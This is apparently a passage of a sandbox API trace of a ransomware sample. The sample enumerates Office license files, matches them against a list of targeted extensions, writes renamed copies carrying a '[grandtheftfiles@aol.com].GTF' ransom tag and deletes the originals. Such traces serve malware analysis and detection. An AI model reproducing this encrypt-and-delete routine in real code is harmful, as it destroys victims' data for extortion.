	[0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.399] lstrlenW (lpString=".doc") returned 4
	[0171.399] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.399] lstrlenW (lpString=".docx") returned 5
	[0171.399] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.399] lstrlenW (lpString=".pdf") returned 4
	[0171.399] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.399] lstrlenW (lpString=".xls") returned 4
	[0171.399] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.399] lstrlenW (lpString=".xlsx") returned 5
	[0171.399] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.399] lstrlenW (lpString=".ppt") returned 4
	[0171.399] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.399] lstrlenW (lpString=".zip") returned 4
	[0171.399] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.400] lstrlenW (lpString=".rar") returned 4
	[0171.400] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.400] lstrlenW (lpString=".bz2") returned 4
	[0171.400] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.400] lstrlenW (lpString=".7z") returned 3
	[0171.400] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.400] lstrlenW (lpString=".dbf") returned 4
	[0171.400] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.400] lstrlenW (lpString=".1cd") returned 4
	[0171.400] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.400] lstrlenW (lpString=".jpg") returned 4
	[0171.400] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.400] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.400] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43
	[0171.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.733] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=22224) returned 1
	[0171.733] CloseHandle (hObject=0x530) returned 1
	[0171.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0171.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.741] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.741] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.742] GetLastError () returned 0x0
	[0171.742] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x56d0, lpOverlapped=0x0) returned 1
	[0171.747] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x56e0, lpOverlapped=0x0) returned 1
	[0171.749] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.749] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x12a, lpOverlapped=0x0) returned 1
	[0171.749] SetEndOfFile (hFile=0x55c) returned 1
	[0171.749] CloseHandle (hObject=0x55c) returned 1
	[0171.750] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.750] SetEndOfFile (hFile=0x45c) returned 1
	[0171.753] CloseHandle (hObject=0x45c) returned 1
	[0171.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0171.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.754] lstrlenW (lpString=".doc") returned 4
	[0171.754] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.754] lstrlenW (lpString=".docx") returned 5
	[0171.754] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.754] lstrlenW (lpString=".pdf") returned 4
	[0171.754] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.754] lstrlenW (lpString=".xls") returned 4
	[0171.754] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.754] lstrlenW (lpString=".xlsx") returned 5
	[0171.754] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.754] lstrlenW (lpString=".ppt") returned 4
	[0171.754] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.754] lstrlenW (lpString=".zip") returned 4
	[0171.754] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.754] lstrlenW (lpString=".rar") returned 4
	[0171.754] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString=".bz2") returned 4
	[0171.755] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString=".7z") returned 3
	[0171.755] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.755] lstrlenW (lpString=".dbf") returned 4
	[0171.755] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.755] lstrlenW (lpString=".1cd") returned 4
	[0171.755] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.755] lstrlenW (lpString=".jpg") returned 4
	[0171.755] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.755] lstrlenW (lpString=".doc") returned 4
	[0171.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString=".docx") returned 5
	[0171.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.755] lstrlenW (lpString=".pdf") returned 4
	[0171.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString=".xls") returned 4
	[0171.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString=".xlsx") returned 5
	[0171.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.755] lstrlenW (lpString=".ppt") returned 4
	[0171.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.755] lstrlenW (lpString=".zip") returned 4
	[0171.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.756] lstrlenW (lpString=".rar") returned 4
	[0171.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.756] lstrlenW (lpString=".bz2") returned 4
	[0171.756] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.756] lstrlenW (lpString=".7z") returned 3
	[0171.756] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.756] lstrlenW (lpString=".dbf") returned 4
	[0171.756] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.756] lstrlenW (lpString=".1cd") returned 4
	[0171.756] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0171.756] lstrlenW (lpString=".jpg") returned 4
	[0171.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.756] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.756] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34
	[0171.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.758] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=21917) returned 1
	[0171.758] CloseHandle (hObject=0x45c) returned 1
	[0171.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220
	[0171.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.759] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.759] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.760] GetLastError () returned 0x0
	[0171.760] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x559d, lpOverlapped=0x0) returned 1
	[0171.762] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0171.763] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.764] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x118, lpOverlapped=0x0) returned 1
	[0171.764] SetEndOfFile (hFile=0x55c) returned 1
	[0171.764] CloseHandle (hObject=0x55c) returned 1
	[0171.764] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.764] SetEndOfFile (hFile=0x45c) returned 1
	[0171.767] CloseHandle (hObject=0x45c) returned 1
	[0171.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1
	[0171.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.768] lstrlenW (lpString=".doc") returned 4
	[0171.768] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString=".docx") returned 5
	[0171.769] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.769] lstrlenW (lpString=".pdf") returned 4
	[0171.769] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString=".xls") returned 4
	[0171.769] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString=".xlsx") returned 5
	[0171.769] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.769] lstrlenW (lpString=".ppt") returned 4
	[0171.769] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.769] lstrlenW (lpString=".zip") returned 4
	[0171.769] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString=".rar") returned 4
	[0171.769] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString=".bz2") returned 4
	[0171.769] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString=".7z") returned 3
	[0171.769] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.769] lstrlenW (lpString=".dbf") returned 4
	[0171.769] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.769] lstrlenW (lpString=".1cd") returned 4
	[0171.769] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.769] lstrlenW (lpString=".jpg") returned 4
	[0171.769] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.770] lstrlenW (lpString=".doc") returned 4
	[0171.770] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString=".docx") returned 5
	[0171.770] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.770] lstrlenW (lpString=".pdf") returned 4
	[0171.770] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString=".xls") returned 4
	[0171.770] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString=".xlsx") returned 5
	[0171.770] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.770] lstrlenW (lpString=".ppt") returned 4
	[0171.770] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.770] lstrlenW (lpString=".zip") returned 4
	[0171.770] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString=".rar") returned 4
	[0171.770] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString=".bz2") returned 4
	[0171.770] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString=".7z") returned 3
	[0171.770] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.770] lstrlenW (lpString=".dbf") returned 4
	[0171.770] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.770] lstrlenW (lpString=".1cd") returned 4
	[0171.770] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0171.770] lstrlenW (lpString=".jpg") returned 4
	[0171.771] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.771] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.771] lstrlenW (lpString="HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 37
	[0171.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.771] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11644) returned 1
	[0171.772] CloseHandle (hObject=0x45c) returned 1
	[0171.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220
	[0171.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.773] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.773] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.773] GetLastError () returned 0x0
	[0171.773] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d7c, lpOverlapped=0x0) returned 1
	[0171.775] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0171.914] ReadFile (in: hFile=0x45c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.914] WriteFile (in: hFile=0x55c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0171.914] SetEndOfFile (hFile=0x55c) returned 1
	[0171.956] CloseHandle (hObject=0x55c) returned 1
	[0171.956] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.956] SetEndOfFile (hFile=0x45c) returned 1
	[0171.961] CloseHandle (hObject=0x45c) returned 1
	[0171.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1
	[0171.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0171.967] lstrlenW (lpString=".doc") returned 4
	[0171.967] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.967] lstrlenW (lpString=".docx") returned 5
	[0171.967] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.967] lstrlenW (lpString=".pdf") returned 4
	[0171.967] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
